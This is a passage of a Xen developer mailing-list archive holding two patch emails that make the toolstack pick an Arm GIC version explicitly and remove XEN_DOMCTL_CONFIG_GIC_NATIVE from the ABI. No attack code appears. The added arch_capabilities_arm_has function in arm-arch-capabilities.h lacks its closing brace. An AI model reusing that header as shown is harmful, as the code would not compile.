 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f6b44e5b6000edb5.00b for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Thu, 16 Jul 2026 14:11:45 +0000
Received: from julian.home (areims-651-1-80-194.w90-18.abo.wanadoo.fr
 [90.18.187.194]) (Authenticated sender: julian.vetter@vates.tech)
 by mail2.vates.fr (Postfix) with ESMTPSA id 7888B829AE;
 Thu, 16 Jul 2026 16:11:44 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=tOErvYcnaCtZ5PvXFKGwdaCwZ9Ce7CVd09/dT7E/c7M=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=HZjaAjPg4ynyHOjl8hhFKjsOKB0WTkq0rxYIX9Z35kx5vVB0bmXqUSGCgJl007z4n3/mMHg7E
 ekOkjMVOyPch928+NlBP76d/BJ/KsueCgnxHC7QR5yx7Q5upNvl1AR48yIcZDZow3pER9YDlOuS
 8BwqImdDBmtncvRAUKpuiSAyvMy0mRWlQm/HecmDCS7Yi5mgGnQuvRuzq7ZTlSlbc8U0CROLxrx
 SeYPNlWjH6B7T64FFdCjlNeieu6vCTs8FuqJNGIMcCfJm+up283uwGiEUs00S51oMZXEVk4sDQv
 U72YxPtYACfTryiVkvXIGt6tisl/9sNogNKoBfJ6D/AQ==
X-Zone-Loop: a09f701174e948e141da840ac13236910b1a3712d80e
x-campaign-type: default
x-transaction-id: eec65456-b63f-4f68-95d5-4af01b482b64
x-swg-uid: 01-acdf3e63-cf51-4c65-b8f5-b9d1b88cbbbc
X-Mailer: Sweego
Message-ID:
 <1784211105.8631fc262581453bbf619ec5b2062170.19f6b44e5b6000edb5@vates.tech>
x-swg-bid: 1784211105.8631fc262581453bbf619ec5b2062170.19f6b44e5b6000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Julian Vetter <julian.vetter@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Anthony PERARD <anthony.perard@vates.tech>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Juergen Gross <jgross@suse.com>,
	Andrii Sultanov <andriy.sultanov@vates.tech>,
	Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Oleksii Moisieiev <oleksii_moisieiev@epam.com>,
	Timothy Pearson <tpearson@raptorengineering.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Julian Vetter <julian.vetter@vates.tech>
Subject: [PATCH v3 3/6] tools/arm: choose GIC version explicitly instead of relying on GIC_NATIVE
Date: Thu, 16 Jul 2026 16:11:35 +0200
In-Reply-To: <20260716141138.88265-1-julian.vetter@vates.tech>
References: <1784210820.8631fc262581453bbf619ec5b2062170.19f6b408bba000edb5@vates.tech>
 <20260716141138.88265-1-julian.vetter@vates.tech>
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.a09.bee655ee7b2655e3.19f6b44e40d.c0c915f915ccf27b=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1784211104781
X-purgate-ID: tlsNG-16d1c6/1784211117-F76C877B-0B19B068/0/0
X-purgate-type: clean
X-purgate-size: 6380

---=Part.a09.bee655ee7b2655e3.19f6b44e40d.c0c915f915ccf27b=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

XEN_DOMCTL_CONFIG_GIC_NATIVE lets the toolstack ask Xen to silently
resolve the domain's GIC version to whatever the host hardware has=2E Xen
then writes the resolved value back into the same in/out
xen_arch_domainconfig the toolstack used as input, which is the kind of
API abuse we're trying to get rid of=2E The struct passed to createdomain
should only be an input parameter=2E

Move the "pick the best available GIC version" decision to the
toolstack, using the XEN_SYSCTL_PHYSCAP_ARM_GIC_V2/V3 capability bits
already exposed via XEN_SYSCTL_physinfo:

 * libxl__arch_domain_build_info_setdefault() resolves
   LIBXL_GIC_VERSION_DEFAULT to v3 if available, else v2, else fails,
   before the config is built=2E
 * The Python xc=2Edomain_create() binding does the same via a call to
   xc_physinfo()=2E
 * libxl__arch_domain_prepare_config() therefore only ever sees a
   concrete v2/v3 request and just validates it=2E The GIC_NATIVE case is
   dropped since setdefault() always resolves it first=2E

This guarantees no toolstack path can still produce
XEN_DOMCTL_CONFIG_GIC_NATIVE, in preparation for removing it from the
Xen side and from the ABI entirely=2E

Signed-off-by: Julian Vetter <julian=2Evetter@vates=2Etech>
---
Changes in v3:
- First half of previous patch 3, with only the changes to the toolstack
- Replaced the arch_capabilities_arm_gic_v2/v3 by a more generic
  arch_capabilities_arm_has() that allows to query any single bit
  feature in the arch_capabilities mask
---
 =2E=2E=2E/include/xen-tools/arm-arch-capabilities=2Eh | 16 ++++++++++++++=
+
 tools/libs/light/libxl_arm=2Ec                  | 17 +++++++++++++---
 tools/python/xen/lowlevel/xc/xc=2Ec             | 20 ++++++++++++++++++-
 3 files changed, 49 insertions(+), 4 deletions(-)

diff --git a/tools/include/xen-tools/arm-arch-capabilities=2Eh b/tools/inc=
lude/xen-tools/arm-arch-capabilities=2Eh
index 4aa4c6c34a=2E=2E6397df696b 100644
--- a/tools/include/xen-tools/arm-arch-capabilities=2Eh
+++ b/tools/include/xen-tools/arm-arch-capabilities=2Eh
@@ -6,6 +6,7 @@
 #ifndef ARM_ARCH_CAPABILITIES_H
 #define ARM_ARCH_CAPABILITIES_H
=20
+#include <stdbool=2Eh>
 #include <stdint=2Eh>
 #include <xen/sysctl=2Eh>
=20
@@ -25,4 +26,19 @@ unsigned int arch_capabilities_arm_sve(unsigned int arc=
h_capabilities)
 #endif
 }
=20
+/*
+ * Generic test for any single-bit XEN_SYSCTL_PHYSCAP_ARM_* capability, e=
=2Eg=2E
+ * arch_capabilities_arm_has(caps, XEN_SYSCTL_PHYSCAP_ARM_GIC_V2)=2E Mult=
i-bit
+ * fields (like the SVE vector length above) still need their own decoder=
=2E
+ */
+static inline
+bool arch_capabilities_arm_has(unsigned int arch_capabilities,
+                               unsigned int mask)
+{
+#if defined(__arm__) || defined(__aarch64__)
+    return !!(arch_capabilities & mask);
+#else
+    return false;
+#endif
+
 #endif /* ARM_ARCH_CAPABILITIES_H */
diff --git a/tools/libs/light/libxl_arm=2Ec b/tools/libs/light/libxl_arm=
=2Ec
index 7e9f8a1bc3=2E=2E926d651857 100644
--- a/tools/libs/light/libxl_arm=2Ec
+++ b/tools/libs/light/libxl_arm=2Ec
@@ -196,9 +196,6 @@ int libxl__arch_domain_prepare_config(libxl__gc *gc,
     LOG(DEBUG, " - Allocate %u SPIs", config->arch=2Enr_spis);
=20
     switch (d_config->b_info=2Earch_arm=2Egic_version) {
-    case LIBXL_GIC_VERSION_DEFAULT:
-        config->arch=2Egic_version =3D XEN_DOMCTL_CONFIG_GIC_NATIVE;
-        break;
     case LIBXL_GIC_VERSION_V2:
         config->arch=2Egic_version =3D XEN_DOMCTL_CONFIG_GIC_V2;
         break;
@@ -1800,6 +1797,20 @@ int libxl__arch_domain_build_info_setdefault(libxl_=
_gc *gc,
     /* Trapping of unmapped accesses enabled by default=2E  */
     libxl_defbool_setdefault(&b_info->trap_unmapped_accesses, true);
=20
+    /* Pick the best GIC version available if none was requested=2E */
+    if (b_info->arch_arm=2Egic_version =3D=3D LIBXL_GIC_VERSION_DEFAULT) =
{
+        if (arch_capabilities_arm_has(physinfo->arch_capabilities,
+                                      XEN_SYSCTL_PHYSCAP_ARM_GIC_V3))
+            b_info->arch_arm=2Egic_version =3D LIBXL_GIC_VERSION_V3;
+        else if (arch_capabilities_arm_has(physinfo->arch_capabilities,
+                                           XEN_SYSCTL_PHYSCAP_ARM_GIC_V2)=
)
+            b_info->arch_arm=2Egic_version =3D LIBXL_GIC_VERSION_V2;
+        else {
+            LOG(ERROR, "No supported GIC version found on this host");
+            return ERROR_FAIL;
+        }
+    }
+
     /* Sanitise SVE parameter */
     if (b_info->arch_arm=2Esve_vl) {
         unsigned int max_sve_vl =3D
diff --git a/tools/python/xen/lowlevel/xc/xc=2Ec b/tools/python/xen/lowlev=
el/xc/xc=2Ec
index 7a4bf54597=2E=2Ee9e1d8572e 100644
--- a/tools/python/xen/lowlevel/xc/xc=2Ec
+++ b/tools/python/xen/lowlevel/xc/xc=2Ec
@@ -163,7 +163,25 @@ static PyObject *pyxc_domain_create(XcObject *self,
                                       ~(XEN_X86_EMU_VPCI |
                                         XEN_X86_EMU_USE_PIRQ);
 #elif defined (__arm__) || defined(__aarch64__)
-    config=2Earch=2Egic_version =3D XEN_DOMCTL_CONFIG_GIC_NATIVE;
+    {
+        xc_physinfo_t pinfo;
+
+        if ( xc_physinfo(self->xc_handle, &pinfo) !=3D 0 )
+            return pyxc_error_to_exception(self->xc_handle);
+
+        if ( arch_capabilities_arm_has(pinfo=2Earch_capabilities,
+                                       XEN_SYSCTL_PHYSCAP_ARM_GIC_V3) )
+            config=2Earch=2Egic_version =3D XEN_DOMCTL_CONFIG_GIC_V3;
+        else if ( arch_capabilities_arm_has(pinfo=2Earch_capabilities,
+                                            XEN_SYSCTL_PHYSCAP_ARM_GIC_V2=
) )
+            config=2Earch=2Egic_version =3D XEN_DOMCTL_CONFIG_GIC_V2;
+        else
+        {
+            errno =3D EINVAL;
+            PyErr_SetFromErrno(xc_error_obj);
+            return NULL;
+        }
+    }
 #else
 #error Architecture not supported
 #endif
--=20
2=2E53=2E0



-- 
Julian Vetter | Vates Hypervisor & Kernel Developer

XCP-ng & Xen Orch=
estra - Vates solutions

web: https://vates=2Etech
---=Part.a09.bee655ee7b2655e3.19f6b44e40d.c0c915f915ccf27b=---


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 14:12:10 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 14:12:10 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364099.1615468 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkMor-0004Qy-P3; Thu, 16 Jul 2026 14:12:09 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364099.1615468; Thu, 16 Jul 2026 14:12:09 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkMor-0004Qr-KR; Thu, 16 Jul 2026 14:12:09 +0000
Received: by outflank-mailman (input) for mailman id 1364099;
 Thu, 16 Jul 2026 14:12:08 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6b44e7b5000edb5@swg.vates.tech>)
 id 1wkMoq-0004P6-4A
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 14:12:08 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkMop-00H0UB-HB
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 16:12:07 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6b44e7b5000edb5@swg.vates.tech>)
 id 6a58e6ac-bab6-0a2a0a5309dd-0a2a45069760-16
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 16:12:07 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6b44e7b5000edb5@swg.vates.tech>)
 id 6a58e6a8-195a-0a2a45060019-b9ff1c238695-6
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 16:12:03 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f6b44e7b5000edb5.00b for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Thu, 16 Jul 2026 14:11:45 +0000
Received: from julian.home (areims-651-1-80-194.w90-18.abo.wanadoo.fr
 [90.18.187.194]) (Authenticated sender: julian.vetter@vates.tech)
 by mail2.vates.fr (Postfix) with ESMTPSA id DB40A829A9;
 Thu, 16 Jul 2026 16:11:44 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=OwEKfYXUSmyjxJ3zjPySc5oSdPN8WkRkDVlHetXowcc=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=YlB7j5RJnxDAPZTbxszkaXPbJ0C6MVv3Ne2D+B+aeQMNYAAd6+iKxXPXEgWMhMYegYn8RT8GN
 ttiKf0cWodoj89JbiorFZkyK5ah481W1bYzzNWWdDjzdc3hLqSvAUH5QmDI+1pn1wonQ/Uhf4z6
 AqVXVhVIgEhO7313XFjn+TeqQeDIEaD17CLSQcMXv9L2UuVGJnhUOr7r8BaqM3BoOrjRa70shE4
 IdoeJTHeG5IiHFa7Hm8Kv+KIXzGL6S2N1Dlqy9cilZE5/im02Fng5MPjAp55j0d1N/PPz9WRKT5
 dsHwWtRvNYt9YJ9mbheOGrSP4QxFEmXKVLqJ5xnWELYw==
X-Zone-Loop: dd8a58cf583597ac3acab4b78e7b01022340322dce56
x-campaign-type: default
x-transaction-id: 8f38264f-b94b-4c59-9a47-2371b2676687
x-swg-uid: 01-17c9d5b2-a553-4060-83ec-47b4d91fc04c
X-Mailer: Sweego
Message-ID:
 <1784211105.8631fc262581453bbf619ec5b2062170.19f6b44e7b5000edb5@vates.tech>
x-swg-bid: 1784211105.8631fc262581453bbf619ec5b2062170.19f6b44e7b5000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Julian Vetter <julian.vetter@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Anthony PERARD <anthony.perard@vates.tech>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Juergen Gross <jgross@suse.com>,
	Andrii Sultanov <andriy.sultanov@vates.tech>,
	Guillaume Thouvenin <guillaume.thouvenin@vates.tech>,
	=?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Oleksii Moisieiev <oleksii_moisieiev@epam.com>,
	Timothy Pearson <tpearson@raptorengineering.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Julian Vetter <julian.vetter@vates.tech>
Subject: [PATCH v3 4/6] xen/arm: remove XEN_DOMCTL_CONFIG_GIC_NATIVE from the ABI
Date: Thu, 16 Jul 2026 16:11:36 +0200
In-Reply-To: <20260716141138.88265-1-julian.vetter@vates.tech>
References: <1784210820.8631fc262581453bbf619ec5b2062170.19f6b408bba000edb5@vates.tech>
 <20260716141138.88265-1-julian.vetter@vates.tech>
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.a0a.f7a14d937245e8b2.19f6b44e5a2.777bd6435f78859b=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1784211105186
X-purgate-ID: tlsNG-16d1c6/1784211123-F540B77B-A17B0C1F/0/0
X-purgate-type: clean
X-purgate-size: 8150

---=Part.a0a.f7a14d937245e8b2.19f6b44e5a2.777bd6435f78859b=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Now that the toolstack always resolves a concrete GIC_V2 or GIC_V3
before calling createdomain, nothing on the Xen side needs to resolve
GIC_NATIVE either:

 * A new gic_domctl_version() helper returns the XEN_DOMCTL_CONFIG_GIC_*
   value matching the host's gic_hw_version()=2E
 * arch_sanitise_domain_config() uses it to validate that the requested
   version is compatible with the hardware, rather than resolving
   GIC_NATIVE and writing the result back into config->arch=2Egic_version=
=2E
   There's currently no support to run a guest on a GIC version other
   than the host's, so this is just an equality check=2E
 * create_dom0() and arch_parse_dom0less_node(), which both always want
   a vGIC that exactly matches the hardware, use the same helper instead
   of GIC_NATIVE=2E

With nothing left resolving or relying on it, drop
XEN_DOMCTL_CONFIG_GIC_NATIVE from the public ABI=2E Every caller must now
request a concrete GIC_V2 or GIC_V3=2E

This is an incompatible change for any toolstack still passing 0
(formerly GIC_NATIVE) expecting Xen to auto-select a version, so bump
XEN_DOMCTL_INTERFACE_VERSION and add a CHANGELOG=2Emd entry=2E

Signed-off-by: Julian Vetter <julian=2Evetter@vates=2Etech>
---
Changes in v3:
- Second half of previous patch 3, with only the changes to Xen
---
 CHANGELOG=2Emd                   |  3 +++
 xen/arch/arm/dom0less-build=2Ec  |  3 ++-
 xen/arch/arm/domain=2Ec          | 25 +++++++++----------------
 xen/arch/arm/domain_build=2Ec    |  3 ++-
 xen/arch/arm/gic=2Ec             | 16 ++++++++++++++++
 xen/arch/arm/include/asm/gic=2Eh |  6 ++++++
 xen/include/public/arch-arm=2Eh  |  1 -
 xen/include/public/domctl=2Eh    |  4 ++--
 8 files changed, 40 insertions(+), 21 deletions(-)

diff --git a/CHANGELOG=2Emd b/CHANGELOG=2Emd
index 356be88351=2E=2E74f02e91db 100644
--- a/CHANGELOG=2Emd
+++ b/CHANGELOG=2Emd
@@ -13,6 +13,9 @@ The format is based on [Keep a Changelog](https://keepac=
hangelog=2Ecom/en/1=2E0=2E0/)
 ### Added
=20
 ### Removed
+ - On Arm:
+   - XEN_DOMCTL_CONFIG_GIC_NATIVE has been removed=2E  Toolstacks must no=
w
+     explicitly request GIC_V2 or GIC_V3 when creating a domain=2E
  - On x86:
    - The kexec "v1" interface, which was declared obsolete in Xen 4=2E4 (=
2013)=2E
      The only known user was the classic-xen fork of Linux=2E  This does =
not
diff --git a/xen/arch/arm/dom0less-build=2Ec b/xen/arch/arm/dom0less-build=
=2Ec
index 3f48f74226=2E=2E5b01843db4 100644
--- a/xen/arch/arm/dom0less-build=2Ec
+++ b/xen/arch/arm/dom0less-build=2Ec
@@ -23,6 +23,7 @@
 #include <asm/arm64/sve=2Eh>
 #include <asm/domain_build=2Eh>
 #include <asm/firmware/sci=2Eh>
+#include <asm/gic=2Eh>
 #include <asm/grant_table=2Eh>
 #include <asm/setup=2Eh>
=20
@@ -368,7 +369,7 @@ int __init arch_parse_dom0less_node(struct dt_device_n=
ode *node,
     unsigned int flags =3D bd->create_flags;
     uint32_t val;
=20
-    d_cfg->arch=2Egic_version =3D XEN_DOMCTL_CONFIG_GIC_NATIVE;
+    d_cfg->arch=2Egic_version =3D gic_domctl_version();
     d_cfg->flags |=3D XEN_DOMCTL_CDF_hvm | XEN_DOMCTL_CDF_hap;
=20
     if ( domu_dt_sci_parse(node, d_cfg) )
diff --git a/xen/arch/arm/domain=2Ec b/xen/arch/arm/domain=2Ec
index baa3a5d708=2E=2Eb396d5e615 100644
--- a/xen/arch/arm/domain=2Ec
+++ b/xen/arch/arm/domain=2Ec
@@ -609,23 +609,16 @@ int arch_sanitise_domain_config(struct xen_domctl_cr=
eatedomain *config)
         return -EINVAL;
     }
=20
-    /* Fill in the native GIC version, passed back to the toolstack=2E */
-    if ( config->arch=2Egic_version =3D=3D XEN_DOMCTL_CONFIG_GIC_NATIVE )
+    /*
+     * The toolstack must pick a specific GIC version=2E Xen doesn't choo=
se on
+     * its behalf=2E It only checks the requested version matches what th=
e
+     * hardware actually has=2E There's currently no support to run a gue=
st on a
+     * GIC version other than the host's=2E
+     */
+    if ( config->arch=2Egic_version !=3D gic_domctl_version() )
     {
-        switch ( gic_hw_version() )
-        {
-        case GIC_V2:
-            config->arch=2Egic_version =3D XEN_DOMCTL_CONFIG_GIC_V2;
-            break;
-
-        case GIC_V3:
-            config->arch=2Egic_version =3D XEN_DOMCTL_CONFIG_GIC_V3;
-            break;
-
-        default:
-            ASSERT_UNREACHABLE();
-            return -EINVAL;
-        }
+        dprintk(XENLOG_INFO, "Unsupported GIC version\n");
+        return -EINVAL;
     }
=20
     /* max_vcpus depends on the GIC version, and Xen's compiled limit=2E =
*/
diff --git a/xen/arch/arm/domain_build=2Ec b/xen/arch/arm/domain_build=2Ec
index 72d5316180=2E=2Ecd9509d7b9 100644
--- a/xen/arch/arm/domain_build=2Ec
+++ b/xen/arch/arm/domain_build=2Ec
@@ -26,6 +26,7 @@
 #include <xen/warning=2Eh>
 #include <xen/static-shmem=2Eh>
 #include <asm/device=2Eh>
+#include <asm/gic=2Eh>
 #include <asm/setup=2Eh>
 #include <asm/tee/tee=2Eh>
 #include <asm/pci=2Eh>
@@ -1960,7 +1961,7 @@ void __init create_dom0(void)
     int rc;
=20
     /* The vGIC for DOM0 is exactly emulating the hardware GIC */
-    dom0_cfg=2Earch=2Egic_version =3D XEN_DOMCTL_CONFIG_GIC_NATIVE;
+    dom0_cfg=2Earch=2Egic_version =3D gic_domctl_version();
     dom0_cfg=2Earch=2Enr_spis =3D vgic_def_nr_spis();
     dom0_cfg=2Earch=2Etee_type =3D tee_get_type();
     dom0_cfg=2Emax_vcpus =3D dom0_max_vcpus();
diff --git a/xen/arch/arm/gic=2Ec b/xen/arch/arm/gic=2Ec
index ee75258fc3=2E=2Efc55a65159 100644
--- a/xen/arch/arm/gic=2Ec
+++ b/xen/arch/arm/gic=2Ec
@@ -56,6 +56,22 @@ enum gic_version gic_hw_version(void)
    return gic_hw_ops->info->hw_version;
 }
=20
+uint8_t gic_domctl_version(void)
+{
+    switch ( gic_hw_version() )
+    {
+    case GIC_V2:
+        return XEN_DOMCTL_CONFIG_GIC_V2;
+
+    case GIC_V3:
+        return XEN_DOMCTL_CONFIG_GIC_V3;
+
+    default:
+        ASSERT_UNREACHABLE();
+        return 0;
+    }
+}
+
 unsigned int gic_number_lines(void)
 {
     return gic_hw_ops->info->nr_lines;
diff --git a/xen/arch/arm/include/asm/gic=2Eh b/xen/arch/arm/include/asm/g=
ic=2Eh
index ff22dea40d=2E=2Ede6eabfadd 100644
--- a/xen/arch/arm/include/asm/gic=2Eh
+++ b/xen/arch/arm/include/asm/gic=2Eh
@@ -262,6 +262,12 @@ DECLARE_PER_CPU(uint64_t, lr_mask);
=20
 extern enum gic_version gic_hw_version(void);
=20
+/*
+ * The XEN_DOMCTL_CONFIG_GIC_* value matching the GIC version actually
+ * present on this host=2E
+ */
+extern uint8_t gic_domctl_version(void);
+
 /* Program the IRQ type into the GIC */
 void gic_set_irq_type(struct irq_desc *desc, unsigned int type);
=20
diff --git a/xen/include/public/arch-arm=2Eh b/xen/include/public/arch-arm=
=2Eh
index 7d6f87e8b2=2E=2E6987f5bdf4 100644
--- a/xen/include/public/arch-arm=2Eh
+++ b/xen/include/public/arch-arm=2Eh
@@ -319,7 +319,6 @@ DEFINE_XEN_GUEST_HANDLE(vcpu_guest_context_t);
  * struct xen_arch_domainconfig's ABI is covered by
  * XEN_DOMCTL_INTERFACE_VERSION=2E
  */
-#define XEN_DOMCTL_CONFIG_GIC_NATIVE    0
 #define XEN_DOMCTL_CONFIG_GIC_V2        1
 #define XEN_DOMCTL_CONFIG_GIC_V3        2
=20
diff --git a/xen/include/public/domctl=2Eh b/xen/include/public/domctl=2Eh
index 510300bb67=2E=2E4ca8a2d7ca 100644
--- a/xen/include/public/domctl=2Eh
+++ b/xen/include/public/domctl=2Eh
@@ -30,9 +30,9 @@
  * fields) don't require a change of the version=2E
  * Stable ops are NOT covered by XEN_DOMCTL_INTERFACE_VERSION!
  *
- * Last version bump: Xen 4=2E22
+ * Last version bump: Xen 4=2E23
  */
-#define XEN_DOMCTL_INTERFACE_VERSION 0x00000018
+#define XEN_DOMCTL_INTERFACE_VERSION 0x00000019
=20
 /*
  * NB=2E xen_domctl=2Edomain is an IN/OUT parameter for this operation=2E
--=20
2=2E53=2E0



-- 
Julian Vetter | Vates Hypervisor & Kernel Developer

XCP-ng & Xen Orch=
estra - Vates solutions

web: https://vates=2Etech
---=Part.a0a.f7a14d937245e8b2.19f6b44e5a2.777bd6435f78859b=---


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 14:12:13 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 14:12:13 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364100.1615477 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkMou-0004iP-Vj; Thu, 16 Jul 2026 14:12:12 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364100.1615477; Thu, 16 Jul 2026 14:12:12 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkMou-0004iC-S6; Thu, 16 Jul 2026 14:12:12 +0000
Received: by outflank-mailman (input) for mailman id 1364100;
 Thu, 16 Jul 2026 14:12:11 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6b44e953000edb5@swg.vates.tech>)
 id 1wkMos-0004dM-Sr
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 14:12:10 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkMos-00H0UB-9M
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 16:12:10 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f6b44e953000edb5@swg.vates.tech>)
 id 6a58e6ac-bab6-0a2a0a5309dd-0a2a45069760-34
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 16:12:10 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
